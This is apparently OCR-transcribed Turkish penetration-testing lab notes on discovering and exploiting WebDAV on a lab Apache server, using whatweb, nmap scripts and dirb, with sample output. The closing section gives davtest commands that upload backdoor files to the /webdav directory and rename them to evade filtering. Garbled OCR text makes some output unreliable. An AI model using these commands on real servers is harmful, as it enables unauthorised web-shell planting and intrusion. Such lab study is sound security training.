WebDav Kesif ve Exploitation

WebDav web sunucularda ¢aligan bir servistir ve hedef web sunucusuna dosya upload'lama, hedef
web sunucusunda dosya degistirme ve dosya silme gibi islemlerin gerceklestirilebilmesini saglar.
Ayrmth bilgi i¢in bkz. Paketleme icin Gozden Gegirilecekler / Internettetn Edinilmis Kiymetli
Bilgiler / DavTest Yapma.docx

a. WebDav Servisinin Kesfi

[+] Birebir denenmistir, fakat basariyla uygulanamamistir.

Ubuntu 14.04 LTS ana makinasinda apache web sunucusunun kurulu oldugunu ve apache sunucuda

WebDav servisinin etkin oldugunu varsayalim. Hedef web sunucusunda WebDav servisi agik m1
kontroliinii yapmak icin asagidaki yollar1 takip edebiliriz.

WebDav servisi apache sunucularda nasil etkin olur bilgisi i¢in bkz. Paketleme i¢in Gozden
Gegirilecekler / Internetten Edinilmis Kiymetli Bilgiler / DavTest Yapma.docx#Apache'ye
WebDav Kurulumu.

=> Whatweb tool'uyla hedef web sunucusunda WebDav etkin mi kontrolii

OSCP Kali
> whatweb 172.16.3.72 // Ubuntu 14.04 LTS IP'si
Output (olmasi gereken):

http://172.16.3.72 [200] Apache[2.4.7], Country[RESERVED][ZZ], HTTPServer[Ubuntu
Linux][Apache/2.4.7 (Ubuntu)], IP[172.16.3.72], Index-Of, Title[Index of /] WebDav|2]

=> Nmap'in http-webdav-scan script'iyle hedef web sunucusunda WebDav etkin mi kontrolii

OSCP Kali
> nmap --script http-webdav-scan -p 80 172.16.3.72 // Ubuntu 14.04 LTS IP'si
Output (olmasi gereken):

PORT STATE SERVICE

80/tcp open http

| http-webdav-scan:

| Allowed Methods: GET, HEAD, COPY, MOVE, POST, PUT, PROPFIND,
PROPPATCH, OPTIONS, MKCOL, DELETE, TRACE, REPORT

| Server Type: DAV/0.9.8 Python/2.7.6

| Server Date: Fri, 22 May 2015 19:28:00 GMT



WebDAYV type: unkown

Directory Listing:
http://localhosft
http://localhost:8008/WebDAVTest_bltqTWeyRR
http://localhost:8008/WebDAVTest_ A0QWJb7hcK
http://localhost:8008/WebDAVTest_hf9MqqpilM
http://localhost:8008/WebDAVTest_Ds5KBFywDq

=> Nmap'in http-iis-webdav-vuln script'iyle hedef “IIS” web sunucusunda WebDav etkin mi
kontrolii

Kali
> nmap -T4 -p80 --script=http-iis-webdav-vuln x.x.x.x

Output (olmasi gereken):

Starting Nmap 4.85BETAO9 ( http://nmap.org ) at 2009-05-20 14:29 CDT
Interesting ports on X.X.X.X:

PORT STATE SERVICE

80/tcp open http

|_ http-iis-webdav-vuln: WebDAYV is ENABLED. Vulnerable folders discovered:
/private, /secret, /webdav

Nmap done: 1 IP address (1 host up) scanned in 21.41 seconds

b. WebDav Dizininin Kegfi
[+] Birebir denenmistir ve basariyla uygulanmistir.

Hedef web sunucusunda WebDav servisinin agik oldugunu 6grendikten sonra WebDav servisinin
hangi dizinde kullamldigim tespit etmek igin dir fuzzing yapan tool'lar kullanilmahdir. Orn;

- dirb
- dirbuster
- wfuzz

Simdi hedef web sunucusuna dir fuzzing yapalim ve hedef web sunucusu standard WebDav
dizinlerinden birine sahip mi test edelim.



OSCP Kali:
> dirb http://172.16.3.72 // Ubuntu 14.04 LTS IP'si

Output:

Applications - *laces G Terminal -

root@kali: ~/Desktop
File Edit View Search Terminal Tabs Help

root@kali: ~/Desktop

esktop# dirb http://172.16.3.72

DIRB v2.22
By The Dark Raver

START_TIME: Fri Mar 9 16:59:38 2018
URL_BASE: http://172.16.3.72/
WORDLIST FILES: susr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

- - Scanning URL: http://172.16.3.72/ ----
DIRECTORY: http://172.16.3.72/html/
== DIRECTORY: http://172.16.3.72/HTML/
http://172.16.3.72/7info.php (CODE:208|SIZE:76778)
DIRECTORY: http://172.16.3.72/javascript/
DIRECTORY: http://172.16.3.72/PHP/
DIRECTORY: http://172.16. 2/phpmyadmin/
+ http://172.16.3.72/server-status (CODE:463|SIZE:291)
==> DIRECTORY: http://172.16.3.72/test/
+

http://172.16.3.72/webdav (CODE:401|SIZE:457)

==> DIRECTORY: http://172.16.3.72/XML/

-- Entering directory: http://172.16.3.72/html/ ----
+ http://172.16.3.72/html/index.html (CODE:200|SIZE:1151©)

---- Entering directory: http://172.16.3.72/HTML/ - -
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

Entering directory: http://172.16.3.72/javascript/

Goriildiigi tizere hedef web sunucusu /webdav/ dizinine sahipmis. Bu standard bir WebDav servisi
dizinidir. Boylece bir sonraki exploitation adiminda davtest tool'u ile hedef WebDav servisine
baglanirken kullanacagimiz dizini tespit etmis olduk.

Not: Dir fuzzing islemi biten tool'larin g¢iktisindaki her satirin ivedilikle incelenmesi gerekmektedir.
Cinki cikti sonuclarinda arada bir yerde WebDav'la alakali bir dizin tespiti yer alabilir.

c. WebDav Servisinin Exploit Edilmesi

Artik WebDav servisinin kullandig1 dizin tespitini yaptigimiza gére DavTest tool'u ile hedef
WebDav servisine baglanabilir ve exploitation igslemini baglatabiliriz. Ornek kullanimlar su
sekildedir;

// Hedef WebDav Servisini Test Etme
> davtest -url http://172.16.3.72/webdav

// Hedef WebDav Dizinine Backdoor Dosyasi Upload'lama
> davtest -uploadfile /root/backdoor.php -uploadloc ./ -url http://172.16.3.72/webdav

// Hedef WebDav Dizinine DavTest icinde Yiiklii Backdoor'lar1 Upload'lama
> davtest -sendbd auto -url http://172.16.3.72/webdav



// Hedef WebDav Dizinine DavTest Iginde Yiiklii Backdoor'lart Txt Olarak Upload'lama
// ve Sonra Ilgili Betik Dili Uzantisina Déniistiirme (Boylece Giivenligi Bypass Etme)
> davtest -move -sendbd auto -url http://172.16.3.72/webdav

flgili islemler hakkinda daha detayh bilgi icin bkz. Paketleme icin Gézden Gegirilecekler /
Internetten Edinilmis Kiymetli Bilgiler / DavTest Yapma.docx#DavTest Kullammi ve #Uygulama
(Apache Sunucuda DavTest Yapma) Basliklar1
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